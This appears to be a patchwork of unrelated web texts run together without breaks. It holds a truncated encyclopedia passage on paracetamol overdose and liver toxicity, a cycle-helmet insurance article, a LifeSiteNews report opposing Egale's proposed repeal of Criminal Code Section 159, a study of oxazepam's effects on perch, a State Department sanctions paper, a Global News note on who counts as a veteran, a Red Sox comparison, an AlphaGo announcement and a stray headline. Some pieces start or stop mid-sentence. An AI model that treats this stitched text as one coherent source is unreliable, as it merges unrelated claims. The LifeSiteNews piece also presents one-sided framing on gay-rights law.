Paracetamol toxicity is the foremost cause of acute liver failure in the Western world, and accounts for most drug overdoses in the United States, the United Kingdom, Australia, and New Zealand.[58][59][60][61] According to the FDA, in the United States, "56,000 emergency room visits, 26,000 hospitalizations, and 458 deaths per year [were] related to acetaminophen-associated overdoses during the 1990s. Within these estimates, unintentional acetaminophen overdose accounted for nearly 25% of the emergency department visits, 10% of the hospitalizations, and 25% of the deaths."[62]
Paracetamol is metabolised by the liver and is hepatotoxic; side effects are multiplied when combined with alcoholic drinks, and are very likely in chronic alcoholics or people with liver damage.[63][64] Some studies have suggested the possibility of a moderately increased risk of upper gastrointestinal complications such as stomach bleeding when high doses are taken chronically.[65] Kidney damage is seen in rare cases, most commonly in overdose.[66]
Skin reactions [ edit ]
On August 2, 2013, the United States Food and Drug Administration issued a new warning about paracetamol. It stated that the drug could cause rare and possibly fatal skin reactions such as Stevens–Johnson syndrome and toxic epidermal necrolysis. Prescription-strength products will be required to carry a warning label about skin reactions, and the FDA has urged manufacturers to do the same with over-the-counter products.[67]
Asthma [ edit ]
An association exists between paracetamol use and asthma, but whether this association is causal is still debated as of 2017.[68] Certain evidence suggests that this association likely reflects confounders[69] rather than being truly causal.[70] A 2014 review found that among children, the association disappeared when respiratory infections were taken into account.[71]
As of 2014, the American Academy of Pediatrics and the National Institute for Health and Care Excellence continue to recommend paracetamol for pain and discomfort in children,[72][73][74][75][76][77] but some experts have recommended that paracetamol use by children with asthma or at risk for asthma should be avoided.[78][79]
Other factors [ edit ]
In contrast to aspirin, paracetamol does not prevent blood from clotting (it is not an antiplatelet), thus may be used in people who have concerns with blood coagulation. Additionally it does not cause gastric irritation.[80] However, paracetamol does not help reduce inflammation, while aspirin does.[81] Compared with ibuprofen—whose side effects may include diarrhea, vomiting and abdominal pain—paracetamol has fewer adverse gastrointestinal effects.[82] Unlike aspirin, paracetamol is generally considered safe for children, as it is not associated with a risk of Reye's syndrome in children with viral illnesses.[83] If taken recreationally with opioids, weak evidence suggests that it may cause hearing loss.[84]
Overdose [ edit ]
In general the recommended maximum daily dose of paracetamol for healthy adults is 3 or 4 grams.[16][17] Higher doses may lead to toxicity.
Untreated paracetamol overdose results in a lengthy, painful illness. Signs and symptoms of paracetamol toxicity may initially be absent or non-specific symptoms. The first symptoms of overdose usually begin several hours after ingestion, with nausea, vomiting, sweating, and pain as acute liver failure starts.[85] People who take overdoses of paracetamol do not fall asleep or lose consciousness, although most people who attempt suicide with paracetamol wrongly believe that they will be rendered unconscious by the drug.[86] The process of dying from an overdose takes from 3–5 days to 4–6 weeks.
Paracetamol hepatotoxicity is by far the most common cause of acute liver failure in both the United States and the United Kingdom.[61][87] Paracetamol overdose results in more calls to poison control centers in the US than overdose of any other pharmacological substance.[88] Toxicity of paracetamol is believed to be due to its quinone metabolite.[89]
Untreated overdose can lead to liver failure and death within days. Treatment is aimed at removing the paracetamol from the body and replenishing glutathione.[89] Activated charcoal can be used to decrease absorption of paracetamol if the person comes to the hospital soon after the overdose. While the antidote, acetylcysteine (also called N-acetylcysteine or NAC), acts as a precursor for glutathione, helping the body regenerate enough to prevent or at least decrease the possible damage to the liver; a liver transplant is often required if damage to the liver becomes severe.[58][90] NAC was usually given following a treatment nomogram (one for people with risk factors, and one for those without), but the use of the nomogram is no longer recommended as evidence to support the use of risk factors was poor and inconsistent, and many of the risk factors are imprecise and difficult to determine with sufficient certainty in clinical practice.[91] NAC also helps in neutralizing the imidoquinone metabolite of paracetamol.[89] Kidney failure is also a possible side effect.
Until 2004, tablets were available in the UK (brand-name Paradote) that combined paracetamol with an antidote (methionine) to protect the liver in case of an overdose. One theoretical, but rarely if ever used, option in the United States is to request a compounding pharmacy to make a similar drug mix for people who are at risk.
In June 2009, an FDA advisory committee recommended that new restrictions be placed on paracetamol use in the United States to help protect people from the potential toxic effects. The maximum dosage at any given time would be decreased from 1000 mg to 650 mg, while combinations of paracetamol and opioid analgesics would be prohibited. Committee members were particularly concerned by the fact that the then-present maximum dosages of paracetamol had been shown to produce alterations in hepatic function.[92]
In January 2011, the FDA asked manufacturers of prescription combination products containing paracetamol to limit its amount to no more than 325 mg per tablet or capsule and began requiring manufacturers to update the labels of all prescription combination paracetamol products to warn of the potential risk of severe liver damage.[93][94][95][96] Manufacturers had three years to limit the amount of paracetamol in their prescription drug products to 325 mg per dosage unit.[94][96] In November 2011, the Medicines and Healthcare products Regulatory Agency revised UK dosing of liquid paracetamol for children.[97]
Pregnancy [ edit ]
Experimental studies in animals and cohort studies in humans indicate no detectable increase in congenital malformations associated with paracetamol use during pregnancy.[98] Additionally, paracetamol does not affect the closure of the fetal ductus arteriosus as NSAIDs can.[99]
Paracetamol use by the mother during pregnancy is associated with an increased risk of childhood asthma.[100] It is also associated with an increase in ADHD but it is unclear whether the relationship is causal.[101] A 2015 review states that paracetamol remains a first-line recommended medication for pain and fever during pregnancy, despite these concerns.[102]
Cancer [ edit ]
Some studies have found an association between paracetamol and a slight increase in kidney cancer,[103] but no effect on bladder cancer risk.[104]
Interactions [ edit ]
Pharmacology [ edit ]
Mechanism of action [ edit ]
The mechanism of action of paracetamol is not completely understood. Unlike NSAIDs such as aspirin, paracetamol does not appear to inhibit the function of any cyclooxygenase (COX) enzyme outside the central nervous system, and this appears to be the reason why it is not useful as an anti-inflammatory.[105] It does appear to selectively inhibit COX activities in the brain, which may contribute to its ability to treat fever and pain.[105] This activity does not appear to be direct inhibition by blocking an active site, but rather by reducing COX, which must be oxidized in order to function.[105]
Paracetamol apparently might modulate the endogenous cannabinoid system in the brain through its metabolite, AM404, which appears to inhibit the reuptake of the endogenous cannabinoid/vanilloid anandamide by neurons, making it more available to reduce pain. AM404 also appears to be able to directly activate the TRPV1 (older name: vanilloid receptor), which also inhibits pain signals in the brain.[105]
Pharmacokinetics [ edit ]
(click to enlarge): Pathways shown in blue and purple lead to nontoxic metabolites; the pathway in red leads to toxic Main pathways of paracetamol metabolism: Pathways shown in blue and purple lead to nontoxic metabolites; the pathway in red leads to toxic NAPQI
After being taken by mouth, it is rapidly absorbed by the gastrointestinal (GI) tract (although absorption through the stomach is negligible);[106] its volume of distribution is roughly 50 L.[107] The concentration in serum after a typical dose of paracetamol usually peaks below 30 µg/ml (200 µmol/L).[108] After 4 hours, the concentration is usually less than 10 µg/ml (66 µmol/L).[108]
Paracetamol is metabolised primarily in the liver, into toxic and nontoxic products. Three metabolic pathways are notable:[89]
All three pathways yield final products that are inactive, nontoxic, and eventually excreted by the kidneys. In the third pathway, however, the intermediate product NAPQ |
Yannick Read at the Environmental Transport Association (ETA) said: “The launch of this revolutionary design is timely, and not simply because Northern Ireland has been considering making cycle helmets mandatory.”
“This may well be the most effective cycle helmet on the market – as a man I find it gets the attention of drivers far more effectively than the brightest high-visibility vest.”
Cyclists wearing helmets are treated differently
Drivers pass closer when overtaking cyclists wearing helmets than when overtaking bare-headed cyclists, increasing the risk of a collision, found Dr Ian Walker, a traffic psychologist from the University of Bath. He used a bicycle fitted with a computer and an ultrasonic distance sensor to record data from over 2,500 overtaking motorists in Salisbury and Bristol.
He found that drivers were as much as twice as likely to get particularly close to the bicycle when he was wearing the helmet. Across the board, drivers passed an average of 8.5 cm closer with the helmet than without.
Dr Walker suggests the reason drivers give less room to cyclists wearing helmets is down to how cyclists are perceived as a group.
“We know from research that many drivers see cyclists as a separate subculture, to which they don’t belong. As a result they hold stereotyped ideas about cyclists, often judging all riders by the yardstick of the Lycra-clad street-warrior. This may lead drivers to believe cyclists with helmets are more serious, experienced and predictable than those without. The idea that helmeted cyclists are more experienced and less likely to do something unexpected would explain why drivers leave less space when passing.
Lorries pass closest
“In reality, there is no real reason to believe someone with a helmet is any more experienced than someone without.”
“The best answer is for different types of road user to understand each other better. Most adult cyclists know what it is like to drive a car, but relatively few motorists ride bicycles in traffic, and so don’t know the issues cyclists face.
The study also found that large vehicles, such as buses and trucks, passed considerably closer when overtaking cyclists than cars.
The average car passed 1.33 metres away from the bicycle, whereas the average truck got 19cm closer and the average bus 23cm closer.
Radical ways to stop drivers overtaking too close
In a poll conducted by the ETA last year, 52% of cyclists named ‘cars and lorries passing too close’ as their number one complaint, so the cycle insurance /insurance/cycle provider built a custom bike the handlebars of which were fitted with a specially-designed flame thrower to fire towards vehicles that got too close
Fully-comp cycle insurance
Cycle insurance from the ETA includes, amongst other things, new-for-old, third party insurance cover, personal accident cover, race event cover and if you suffer a mechanical breakdown, they will come out and recover you and your bike.
Find out more and get an instant, no obligation quote below.NewsHomosexuality, Politics - Canada
OTTAWA, August 17, 2016 (LifeSiteNews) — Prime Minister Justin Trudeau’s Liberals intend to implement most, if not all, recommendations contained in the homosexual-rights activist group Egale’s June 2016 The Just Society Report, the Globe’s John Ibbitson reported last week.
That means Trudeau will apologize, likely in September, to those homosexual Canadians jailed, fired or otherwise penalized in the decades before 1969, Ibbitson wrote.
That was the year Pierre Elliott Trudeau’s Liberals passed an omnibus bill legalizing abortion, and decriminalizing buggery between two consenting adults aged 21 and over, or between a husband and wife. That age of consent for buggery was lowered to 18 in 1987.
But more to the point, the Liberals are expected to implement Egale’s proposals, wrote Ibbitson, describing these as “a broad range of reforms that will collectively represent one of the greatest advances for sexual minorities in Canada’s history.”
But Gwen Landolt of REAL Women has a starkly different view, warning that Egale’s The Just Society Report contains the “very, very, very troubling recommendation” to repeal Criminal Code Section 159.
That section bans anal intercourse between persons under age 18, and also stipulates that the act be between no more than two persons, so if repealed, group anal sex will be permissible with no age restriction.
Landolt stressed that because other sections of the Criminal Code do not legislate on anal intercourse, a repeal of Section 159 will mean, in effect, that “there’s no age of consent” for anal sex.
“The point is, consent is under Section 150, and it must be age 16 and above,” she said, “but it does not include anal intercourse as such.”
So if “you wipe out 159 without any amendments, you can have access to anal intercourse with anyone at any age,” Landolt told LifeSiteNews. “That is extremely alarming, there’s no two questions about it.”
By stating it wants to lower the age of consent for anal sex from 18 to 16, Egale is trying to divert attention from the radical nature of this proposal, added Landolt. “They’re covering up its real intent.”
Egale is also calling for repeal of the bawdy house laws (Sections 210 and 211), which prohibit “open, public sex” and “have been used for the bathhouse raids,” noted Landolt.
“But with those sections removed, you can have sex anytime, any place, anywhere, with anyone.”
According to Ibbitson, Egale recommends lowering the age of consent for anal intercourse from 18 to 16 because the current law “discriminates against and stigmatizes young homosexuals.”
The Just Society Report also calls on the government to expunge all criminal records for convictions of gross indecency, and to compensate individuals for “unjust government action,” and “unjust criminal prosecutions and convictions.”
Ibbitson wrote that “numerous sources within and outside the government” confirm that Trudeau’s Liberal government plans to implement those recommendations.
Other anticipated “reforms” will include mandatory “human-rights training” for “all police officers or others who work in the justice system…with an emphasis on the historic wrong of treating members of sexual minorities as criminals and on the current bias that all too often still exists,” he wrote.
Customs officers, “who still are more likely to ban homosexual materials from crossing the border, while permitting their heterosexual equivalents” will also receive similar training, according to Ibbitson, and procedures “to protect the dignity of transgender or intersex persons in prisons or jails” will also be implemented.
“Some actions can be taken immediately; others will take longer, though the government is committed to fully acting on the Just Society recommendations before the next election,” asserted Ibbitson.
However, the “Prime Minister’s Office would not confirm or deny the facts of this story,” he wrote. Trudeau’s press secretary Cameron Ahmad responded with a statement: “We have committed to working with Egale and other groups on an ongoing basis to bring an end to discrimination and further guarantee equality for all citizens. We are currently carefully reviewing the recommendations in their report, and will have more to say in the near future.”
In The Just Society Report, Egale thanks Ibbitson for his “superb reporting” on Canada’s past treatment of homosexual persons, notably Everett Klippert, a Saskatchewan man jailed on convictions of gross indecency, and the sole homosexual person in Canada designated to be a “dangerous sex offender” in the 1960s, effectively sentencing him to life imprisonment. (He was released in 1971.)
It was because of these Globe reports that Egale decided to “produce a report on how the federal government could comprehensively respond to past and current injustices directed at members of sexual minorities,” wrote Ibbitson.
His investigations detailed the past treatment of homosexual persons in Canada’s military and civil service, who were reportedly subjected to scrutiny and harassment, lost their jobs, were jailed or otherwise persecuted.
Landolt noted that there was “a law prohibiting homosexuality from 1892, when the Criminal Code came into effect, but that was the time speaking,” when people were generally opposed to homosexuality. “They didn’t want it, that’s why Oscar Wilde was prosecuted.”
And because homosexuality was illegal, homosexual persons in the military or civil service were particularly vulnerable to blackmail, and thus a security risk, Landolt told LifeSiteNews.
“We don’t think people should be jailed for homosexuality,” she said, but she contends that homosexual acts must be private, between two consenting adults of legal age -- 18 and over.
And while consenting adults having homosexual relations privately is “one thing,” what Egale’s The Just Society Report “is demanding is something else,” noted Landolt.
“It’s wide-open anal sex with anyone at any age, at any place, public or private, and there’s no way that it can be controlled,” she said. “They want to wipe out any controls that will prevent them from doing what they want, with whomever they want, in public or private.”
Lawyer Douglas Elliott, a chief writer of Egale’s The Just Society Report, has just launched a class action lawsuit against Bill Whatcott for allegedly distributing hate literature, after Whatcott and his group crashed Toronto’s Pride Parade July 3, disguised as “gay zombies.”
Egale’s report also proposed former Supreme Court Justice Frank Iacobucci “be appointed mediator to resolve the many issues between our communities and the Federal Government.”A European perch. In an experiment, scientists gave the fish a concentration of drugs similar to those found in the waters near densely-populated areas in Sweden. (Bent Christensen/American Association for the Advancement of Science )
What happens to a fish on drugs?
If it’s a wild European perch exposed to a popular anxiety medication, chances are it’s antisocial, wanders away from the safety of its group and devours food more quickly than its peers — all behaviors that could have profound ecological consequences, according to a forthcoming report in the journal Science.
In a study aimed at further understanding the environmental impacts of pharmaceuticals that often wind up in the world’s waterways through wastewater, researchers from Umea University in Sweden examined how perch behaved when exposed to oxazepam, a drug commonly used to treat anxiety disorders in humans. The scientists exposed the fish to concentrations of the drug similar to those found in the waters near densely populated areas in Sweden.
The result?
“Normally, perch are shy and hunt in schools. This is a known strategy for survival and growth. But those who swam in oxazepam became considerably bolder,” ecologist Tomas Brodin, lead author of the article, explained. They “lost interest in hanging out with the group.”
Brodin told an audience at the American Association for the Advancement of Science meeting in Boston on Thursday: “We think it’s working through stress relief on the fish. It removes the fear of being eaten.”
He said that researchers conducted a “boldness test” on the perch, opening a door that would allow them to swim from a small box into a much larger water tank. The fish with no drugs in their system remained timid and “didn’t come out at all,” he said, while those on oxazepam did.
The researchers said those behaviors, coupled with the tendency to scarf down food faster than normal, could alter the composition of the species and lead to ecological changes in the real world. For example, if they consumed more plankton, it could lead to an increase in algae.
Although Brodin and his colleagues focused on oxazepam in their research, they noted that residue from a “veritable cocktail of drugs” can be found in waterways worldwide.
Past studies have confirmed that an ever-growing cocktail of pharmaceuticals and other pollutants — including shampoos, perfumes, heart medications, painkillers and birth control pills — exists in waterways across the globe. There has been scant evidence thus far that the chemical traces pose any dangers to humans, but researchers have plenty to learn.
The Environmental Protection Agency has conducted or funded a growing body of research aimed at better understanding the sources and types of drugs that wind up in wastewater and in fish. The agency also has studied drug disposal practices in hospitals, hospices and other facilities and has said it will take regulatory actions whenever appropriate to limit the amount of pharmaceuticals that end up in water.
The Food and Drug Administration has said that the main way that drugs enter water systems is by passing through individual patients. But the agency also has issued guidelines for safely disposing of prescription drugs, urging consumers to avoid flushing them down the toilet and to take advantage of community “take-back” programs that allow people to turn over unused drugs for proper disposal. As part of its drug approval application process, the FDA also requires companies to submit an assessment of how the drug’s use would affect the environment.
“The solution to this problem isn’t to stop medicating people who are ill,” said Jerker Fick, a co-author of the Science report, “but to try to develop sewage treatment plants that can capture environmentally hazardous drugs.”
Deciding who is responsible for preventing potentially harmful drugs from polluting the nation’s water supply remains an evolving question.
The pharmaceutical industry, for instance, has strongly opposed a law in one California county that would require drugmakers to fund and operate a take-back program there. Various other state lawmakers have also proposed legislation to force drug companies to pay for take-back initiatives, to no avail.
PhRMA, which represents research-based U.S. pharmaceutical and biotechnology companies, has said that it supports other initiatives that educate consumers about safe disposal of unused and expired medications.
Brodin and Fick said Thursday that, given the drug residues observed in many waterways, fish throughout the world might already be affected like those in their lab.
“Probably these behavioral effects are happening even as we speak,” Brodin said. “It might actually change the ecosystem’s function and the ecosystem dynamics in the long run.”An academic paper recently published on the State Department's website argues that the US sanctions targeted against Russian President Vladimir Putin and his closest allies are working as intended — punitive measures that President Donald Trump has suggested he's open to lifting.
State Department Deputy Chief Economist Daniel Ahn is listed as the primary author of the paper, alongside Georgetown professor Rodney Ludema. Together, they concluded that the economic sanctions were in fact depriving its targets of revenue and resources. According to their 36-page paper's abstract, "the
average sanctioned company or associated company loses about one-third of its operating revenue, over one-half of its asset value, and about one-third of its employees relative to their non-sanctioned peers."
But the researchers also discovered that the "smart" or "targeted" sanctions placed against Russian companies and individuals starting in 2014 live up to their name. The four rounds of sanctions that have been put into place — aimed at Putin's inner circle, several Russian banks, the defense industry, and the energy sector — have, according to the paper, managed to affect those individuals without being a primary damager of the Russian economy broadly.
Instead, a global collapse in oil prices has been far more harmful to Russia's macroeconomy, which had been previously flush with cash from its petroleum exports.
Smart sanctions first gained traction as a way of exerting diplomatic leverage in the mid-1990s, when backlash against broad economic sanctions against countries and their effect on average citizens — as seen in Iraq during an extended oil embargo — began to grow. Ahn and Ludema's paper concludes that, despite the limited number of cases that have been studied, the practice is working as envisioned.
The working paper was part of a series from the State Department's Office of the Chief Economist (OCE), which was created in 2011. A disclaimer at the start of the paper states that the series "allows the OCE to disseminate preliminary research findings in a format intended to generate discussion and critical comments." It also makes clear that the "[v]iew and opinions expressed do not necessarily represent official positions or policy of the OCE or Department of State."
Both Ahn and his boss, Chief Economist Keith Maskus, were appointed by former President Barack Obama.
Bill Browder, co-founder of Hermitage Capital Management Group, an investment fund company that specializes in Russia, told BuzzFeed News via email that while his firm hasn't focused on the effects of the Ukraine-related sanctions, they've been effective from what the firm has observed.
"On an anecdotal basis, we've seen an absolutely apoplectic response from Putin, which makes us think that we've hit a very tender spot for the Putin regime," Browder wrote. "In my mind, the reason for that reaction is that wealth is so concentrated in Russia that you can go after the assets of just a few bad players and you have a disproportionate effect on the evil and rot in Russia."
(A lawyer for Broder's firm, Sergei Magnitsky, was accused of tax fraud in 2011 while working to uncover corruption in the Russian government and subsequently died while in prison. The US later passed the Magnitsky Act to sanction individual Russian human rights abusers.)
Trump has repeatedly said that he’d be open to dropping the sanctions on Russia but not his criteria for doing so. He in one interview implied that he’d be willing to waive the sanctions in exchange for Russia taking action to reduce its nuclear arsenal, rather than keeping them linked to its behavior in Ukraine.
The Trump administration has during its time in office made clear that sanctions placed on Russia for its annexation of Crimea would remain in place until it was returned to Ukraine. But it has been less willing to speak about the later sanctions levied for Moscow's subsequent arming and funding rebels in eastern Ukraine, who are fighting to this day.
When asked on Wednesday about a bill Russia hawks in the Senate are drafting that would require Congress to approve any lifting of the sanctions in place, White House press secretary Sean Spicer was evasive.
"Well, there's two sets of sanctions, Tamara, that we got to deal with, right?" Spicer said in response to a reporter's question. He then reiterated the position that UN Ambassador Nikki Haley delivered at the UN last Thursday, but did not elaborate on the White House's position on the other set of sanctions.
"Beyond the disclaimer in the paper itself, we have nothing additional to add," a State Department spokesperson told BuzzFeed News when asked if the department backed the conclusions inside Ahn and Ludema's study. The White House did not respond to a request for comment.WATCH: James Robichaud claims the abuse he endured during basic training left him with long term physical and mental pain. Shirlee Engel has the story.
Global News has received many comments, emails, calls and tweets from veterans responding to our story about James Robichaud’s allegations of abuse during military training.
We thank everyone for taking the time to provide their feedback and express their views. We value input from our audience – positive or otherwise – in order to improve our service to the community.
READ MORE: Former Canadian Forces private alleges abuse in military training
The vast majority of veterans who reached out took issue with Robichaud being referred to as a “veteran” in the story.
Robichaud began basic training in late 2009 and was unable to complete the course – he says not because he didn’t want to, but because of his injuries. He was medically discharged in 2012. He now receives benefits through Veterans Affairs Canada, which recognized his injuries were caused by his time in the military.
Global News contacted Veterans Affairs for more information about how the department defines a veteran. The response?
“In general, any individual who is injured while serving their country in uniform may be eligible for benefits and services from Veterans Affairs Canada (VAC). However, for confidentiality reasons, we are unable to comment on this story or provide information on individuals that may or may not be in receipt of benefits or services from VAC.”
That didn’t answer the question. So we asked The Veterans Ombudsman’s Office. We were referred to a report from October 2012 on A National Veterans Identification Card. The following is an excerpt from that report:
“In 2001, the then Minister of Veterans Affairs announced that henceforth all former members of the Canadian Forces, including those who served in the Reserve Force, special duty areas and on domestic duty, would be recognized as Veterans provided they had met their occupational classification training requirements and had been honourably released. The definition was adopted in recognition of “…the potential risk that all Canadian Forces members are exposed to when they swear the Oath of Allegiance and don a Canadian uniform.” The definition was revised in 2008, replacing the requirement for completion of occupational training to that of simply basic training, and, to this day, stands as the official Government of Canada definition of a veteran for commemoration purposes.”
Note, it says “for commemoration purposes.”
Michel Drapeau, Robichaud’s lawyer and a retired military colonel and veteran himself, defines “veteran” in legal terms as follows:
“Generally speaking, a veteran (from Latin vetus meaning “old”) is a person who has had long service or experience in a particular occupation of field. (military, hockey, teaching, astronaut)
Using everyday language, military veterans are considered those persons who have served or are serving in the armed forces, particularly but not exclusively those who have had direct exposure to acts of military conflict who may also be referred to as “war veterans”. Using the dictionary definition, one would be a military veteran with just one day of military service, even with a dishonorable release.
However, in real legal terms, at present, whether or not one is considered a “veteran” depends entirely upon which veteran program or benefit one is applying for at Veterans Affairs Canada.
The Veterans Bill of Rights applies to all clients of Veterans Affairs including: a “Former and, in certain cases, current members of the Canadian Forces.”
Hence, Mr. Robichaud is absolutely a veteran.”
Global News presented Robichaud’s story as allegations that have yet to be proven. The Department of National Defence refused to discuss the matter.
We look forward to following this story as it unfolds, and welcome any further feedback from our viewers.Darren McCollester/Getty Images
After a three-year layoff that included becoming a laughingstock just 12 months ago, the Boston Red Sox return to the postseason with aspirations of capturing a third championship since 2004.
This has been a remarkable turnaround for one of the most storied franchises in North American professional sports, but it shouldn't be that surprising when you consider the talent that was already in place and the work general manager Ben Cherington did in the offseason.
The Red Sox will take on a familiar foe in the American League Division Series when the Tampa Bay Rays come to town. This is the second time these two teams have met in the postseason, following an incredible seven-game ALCS in 2008 the Rays won.
Winning 97 games in the American League East, which had four teams finish over.500, shows the mental fortitude of this Red Sox team. It is also the most wins for this team since that 2004 championship won 98.
But as a 25-man unit, are the 2013 Boston Red Sox on the same level as the 2004 and 2007 championship teams?
We won't know the real answer to that question until the end of October, but we can certainly examine the rosters and what the numbers from the regular season tell us about this Boston team.
The Offense
Basically since the Red Sox found David Ortiz on the scrap heap, the team has had one of the best offenses in baseball. Ortiz certainly isn't the only reason that has happened, but a decade of offensive consistency is incredible.
What's interesting about Boston's offensive stats is the way they have mirrored the way the game has changed in recent years.
The average AL team in 2004 scored 5.01 runs per game, while the Red Sox put up more than 5.9 runs per game.
As things have skewed more toward pitching, the overall offensive performance has dwindled. AL teams scored 4.33 runs per game in 2013, with the Red Sox leading the charge at 5.27. They aren't as prolific an offense as they once were, but given where the league is right now, they are every bit as good.
However, even as the amount of runs scored hasn't changed that much, the makeup of the Red Sox has. The 2004 Sawx had no speed and, per FanGraphs, were the worst team adding runs on the bases.
There were two players from the curse-breaking Red Sox with double-digit stolen bases. One was Johnny Damon with 19, which isn't surprising because he was a good stolen-base threat in his prime. The other was Jason Varitek with 10.
Darren McCollester/Getty Images
Fast forward to 2013, the entire dynamic has changed. The Red Sox don't have a lot of guys who steal bases, but Jacoby Ellsbury (52), Shane Victorino (21) and Dustin Pedroia (17) give them exactly what they need.
Going back to the FanGraphs' well, the 2013 Red Sox ranked fifth out of 30 teams in baserunning runs with 11.3. Being able to take the extra base or steal second when you need to makes this team more dynamic than the previous two teams, which helps make up for the dramatic increase in strikeouts.
As for the high strikeout total, you can attribute that high number to Mike Napoli (187), Jarrod Saltalamacchia (139) and Stephen Drew (124). They account for 35 percent (450) of the 1,308 whiffs the Red Sox had this season.
Strikeouts aren't the worst thing in the world, especially with a lineup as good as this year's group, and they can help keep you from shortening an inning by grounding into a double play.
This version may not have the star power of the 2004 or 2007 Red Sox, which boasted names like Ortiz, Damon, Varitek, Kevin Youkilis, Mike Lowell and Manny Ramirez, but they can certainly hold their own against those teams.
The Pitching
What's interesting about the Red Sox, particularly in 2004 and 2013, is they don't have that dominant starting pitching we think can run all the way through October. That could come back to haunt them this year, but it certainly didn't matter much in 2004.
Curt Schilling was the best pitcher on the 2004 staff and remained one of the best starters in baseball, though he wasn't as overpowering as he was in Arizona. He was striking out a very respectable total of 8.06 hitters per nine innings, but it was that impeccable command (1.39 walks per nine innings) that really shone through.
Pedro Martinez was starting to slow down with the highest home run rate of his career up to that point (1.08), though he still missed a lot of bats (9.41 per nine innings) and threw over 200 innings for the first time since 2000.
But the rest of the staff was a mess. Bronson Arroyo was the No. 3 starter on the team with a 4.03 ERA. Tim Wakefield was plugging along with an ERA of 4.87, while Derek Lowe was falling apart with an ERA of 5.42.
Even the bullpen, aside from Keith Foulke, wasn't a stellar group. No one with more than 30 innings, with the exception of Foulke, had an ERA under 3.50 or allowed fewer than 7.3 hits per nine innings.
That's similar to this year's Red Sox, though they don't have anyone at the top of the rotation who can touch Schilling or Martinez. Jon Lester has been strong in the second half with a 2.57 ERA, 1.19 WHIP and 74-22 strikeout-to-walk ratio.
John Lackey has been okay overall but slowed down in the second half with a 4.35 ERA and 12 home runs allowed in 89 innings. Jake Peavy was a solid acquisition at the deadline, especially considering what they had to give up for him but was basically an average pitcher for Boston.
Clay Buchholz might be that hammer Boston needs, but he only threw 108.1 innings this season due to injuries.
The bullpen, as a whole, isn't dominating. John Farrell did a fantastic job patching pieces together after Andrew Miller, Andrew Bailey and Joel Hanrahan went down with season-ending injuries.
Koji Uehara might be the best offseason signing for any team, posting a ridiculous 101-9 strikeout-to-walk ratio in 74.1 innings. Craig Breslow got by on a lot of luck with a.254 BABIP despite striking out less than five per nine innings.
It's been a play-as-you-go group for the Red Sox bullpen this season, similar to the 2004 group.
Jared Wickerham/Getty Images
That 2007 team got the best version of Josh Beckett that we saw since his performance with Florida in the 2003 postseason. He made 30 starts covering 200.2 innings with a 194-40 strikeout-to-walk ratio and was an absolute monster in the playoffs going 4-0 in four starts with 30 innings, 35 strikeouts, two walks and four runs allowed.
Schilling's body was breaking down, as he started just 24 games and had a pedestrian 3.87 ERA with 165 hits allowed, 101 strikeouts and 23 walks in 151 innings. Daisuke Matsuzaka was still lulling hitters asleep long enough to record 201 strikeouts in 204.2 innings, though he also gave up 171 baserunners.
The bullpen that year was devastating, though. Jonathan Papelbon's arm was still fresh as a second-year closer with an 84-15 strikeout-to-walk ratio in 58.1 innings and a 257 ERA+. Hideki Okajima's funky delivery was effective, limiting right-handed hitters to a.182/.235/.277 line.
Manny Delcarmen was an unsung hero for that group, providing 44 innings with a 2.05 ERA with just 5.7 hits per nine innings (second only to Papelbon).
The 2007 pitching staff can't match the depth in starting pitching that the 2004 and 2013 teams can, though they did have the best No. 1 starter of the three teams. But that second championship squad trumps both 2004 and 2013 in bullpen depth.
The Defense
Again, this is a case where we can see the dynamics of MLB as a whole change the way the Red Sox have built their team.
That 2004 team, while not exactly punting defense because they had Varitek behind the plate and tried to upgrade certain areas with the acquisition of Orlando Cabrera, but when you have Damon and Ramirez in the outfield and Kevin Millar, Bill Mueller and Mark Bellhorn in the infield, things aren't going to be pretty.
Three years later, things improved dramatically with players like Varitek, Dustin Pedroia, Coco Crisp, Mike Lowell and Julio Lugo. There were still problematic areas, like left field with Ramirez and right field with J.D. Drew, but for the most part this was a strong defensive unit.
The numbers certainly reflect that change, as the Red Sox saved 22 more runs in 2007 than they did in 2004 and improved the UZR by nearly 75 points in three years. That helps explain why the team's ERA and batting average against improved.
This season, just as the 2007 team did, the Red Sox put an emphasis on defense. Certainly there were some pleasant surprises along the way. No one would have told you that Shane Victorino would be the fourth-best outfielder by UZR, or that Saltalamacchia's defense would continue to grow exponentially with a career-best 7.3 UZR.
But the addition of Stephen Drew, who has always been a good defender, gave them exactly what they were looking for. The usual stalwarts like Pedroia and Jacoby Ellsbury were their always-stellar performers on defense.
The 2013 Red Sox had four players perform at elite levels on defense; two of them were playing vital positions of shortstop and center field. When you can run a group like that out there, it takes so much pressure off the pitching staff.
This year's group is certainly the best defensive and most athletic squad they have had since this run of success started back in 2004.
The Final Word
Jared Wickerham/Getty Images
There are definitely parallels between the 2013 Red Sox and both of the most recent championship teams, but for my money, this unit better resembles the 2007 group.
This team is more dynamic, from baserunning to power to defense, than the 2004 or 2007 teams. They don't boast as much pop or pitching depth as either of those title teams, though they aren't lacking in those areas either.
My biggest question remains about the rotation after Lester. Buchholz is still working his way back from the neck and shoulder problems that kept him out for two months. He's had some issues with command and control, walking seven and giving up 18 hits in 24 innings.
Peavy and Lackey have had some home run problems this season, the latter in the second half and the former more when he played in the band box that was U.S. Cellular Field.
That is not to say the 2013 Red Sox are guaranteed to win a World Series, though I can admit that I did pick them in B/R's official playoff picks. I believe this lineup will give a lot of pitching staffs problems, and the pitching will be good enough.
Would it surprise me if they lost? Absolutely not. I can see a scenario where Tampa Bay beats them in the ALDS. But on paper, the Red Sox are deeper than any team in the AL and arguably No. 1 overall, alongside St. Louis, among playoff teams.
If you want to watch postseason games but can't be in front of your TV, be sure to check out the MLB.tv postseason package by clicking here.
Note: All stats courtesy of Fangraphs and Baseball Reference unless otherwise noted.
If you want to talk baseball, feel free to hit me up on Twitter with questions or comments.
Follow @adamwells1985Full length games for Go players to enjoy
To mark the end of the Future of Go Summit in Wuzhen, China in May 2017, we wanted to give a special gift to fans of Go around the world. Since our match with Lee Sedol, AlphaGo has become its own teacher, playing millions of high level training games against itself to continually improve. We’re now publishing a special set of 50 AlphaGo vs AlphaGo games, played at full length time controls, which we believe contain many new and interesting ideas and strategies.
We took the opportunity at the Summit to show some of these games to a handful of top professionals. Shi Yue, 9 Dan Professional and World Champion said the games were “Like nothing I’ve ever seen before - they’re how I imagine games from far in the future.” Gu Li, 9 Dan Professional and World Champion, said that “AlphaGo’s self play games are incredible - we can learn many things from them.” We hope that all Go players will now enjoy trying out some of the moves in the set.The Baby Boom might be about to blow up in an executive suite near you.
